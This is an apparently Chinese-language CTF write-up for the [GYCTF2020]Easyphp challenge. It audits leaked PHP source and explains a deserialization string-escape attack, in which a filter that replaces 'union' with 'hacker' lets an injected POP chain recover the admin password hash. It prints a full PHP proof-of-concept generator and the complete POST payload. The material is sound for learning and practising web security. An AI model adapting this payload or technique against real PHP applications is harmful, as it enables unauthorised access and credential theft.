[GYCTF2020]Easyphp

尝试了一下万能密码不行,又到处翻了一下,扫目录结果又有www.zip

审计代码好久,序列化和sql结合的题还是第一次见,太菜了呀,花了很久时间才理解这个题

首先看到update.php,这个文件是最亮眼的,逻辑是只要我们登陆成功就输出flag,所以要想办法怎么能登陆成功,

看了一圈貌似没办法伪造$_SESSION[‘login’]===1,它的sql都是PDO预编译的,但是发现好像有办法获得某个用户的密码

利用点应该在这里, 把dbCtrl类的nametoken属性的值改为admin,使其执行后能返回查询admin用户的结果

  if ($this->token=='admin') {
            return $idResult;
        }

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

跟进来看一下,初始化一个User类并调用它的update函数,我们看一下这个update函数

上来就是执行了一个反序列化,那这个反序列化函数后面的代码我们可以先不看,它执行了攻击效果就产生了,我们接着跟进getNewinfo()函数

 public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

这里我们可以传两个参数进去,都是可控的,传进Info类里经过序列胡以后再过滤

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

注意这里过滤的逻辑是替换,那就很可能产生序列化字符串逃逸

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

构造pop链:

UpdateHelper类的destruct方法触发user类的tostring方法
user类的tostring方法触发Info类的call方法
Info类的call方法调用dbCtrl类的login函数

那个token我们赋值为admin

poc:

<?php
class User
   {
       public $id;
       public $age="select password,id from user where username=?";
       public $nickname=null;
       public function __construct($nickname){
        // $this->id=$id;
        // $this->age=$age;
        $this->nickname=$nickname;
    }   
   }
   class Info
   {
       public $age;
       public $nickname;
       public $CtrlCase;
       public function __construct($CtrlCase){
        //    $this->age=$age;
        //    $this->nickname=$nickname;
           $this->CtrlCase=$CtrlCase;
       }   
   }
   class UpdateHelper
   {
       public $id;
       public $newinfo;
       public $sql;
       public function __construct($sql){
        // $this->id=null;
        // $this->newinfo=null;
        $this->sql=$sql;
    }   
   }
   class dbCtrl
   {
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password;
    public $mysqli;
    public $token="admin";
   }


$c=new UpdateHelper(new user(new Info(new dbCtrl())));
$c = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c;
echo $c;

payload:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

在这里插入图片描述

md5解密得到admin的密码

在这里插入图片描述

登陆以后页面显示出flag

在这里插入图片描述

我感觉这个题的不好理解的点还在这里:

return safe(serialize(new Info($age,$nickname)));

之前我们做的反序列化题目大多是全称自己构造,构造好了提交payload直接进行反序列化,但是这个题不一样,它这里写死了反序列化是从new Info( a g e , age, age,nickname)开始的,首先我们刚刚反序列化的入口在UpdateHelper类的destruct方法,其次它这里还是写死了只给操作两个参数,并没有给Info类的第三个参数$CtrlCase,但是好在存在一个反序列化逃逸。

逃逸过程:

我们先看到new Info( a g e , age, age,nickname),那这个类它反序列化出来字符串大括号{}里面只有俩元素,一个age的键值对一个nickname的键值对(这么说也不太严谨,就是那个意思吧),然后操作空间就来了,紧接着这个反序列化好的字符串进到safe函数里进行一个反序列化字符串的逃逸,nickname可以很长,union被替换成hacker等方式都可以用来进行逃逸。这里我们就可以利用这里把我们提前跑好的payload逃逸出来。

逃逸目标:

O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

这个是放在Info类的nickname里作为字符串出现的,为了保证Info类序列化的可用性,我们需要把这些字符串逃逸到Info类的第三个属性$CtrlCase里

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:2868:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerher";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}";s:8:"CtrlCase";N;}

Info:这个类的结构是很简单的,注意看我选中的部分其实在逃逸前都作为字符串隶属于nickname,逃逸后我们构造的";s:8:“CtrlCase”;跑了出来并且和我们的payload形成新的键值对,并在末尾加了一个闭合,这样我们构造的就可执行了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nu8CU11S-1667187302883)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\1667177388375.png)]

最终执行的:

safe(serialize(new Info(‘1’,’ "unionunionunion…union;s:8:“CtrlCase” ; ’ . serialize(new UpdateHelper(‘’,‘’,new user(‘’,‘select password,id from user where username=?’,new Info(‘’,‘1’,$d)))) . " } " )))

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值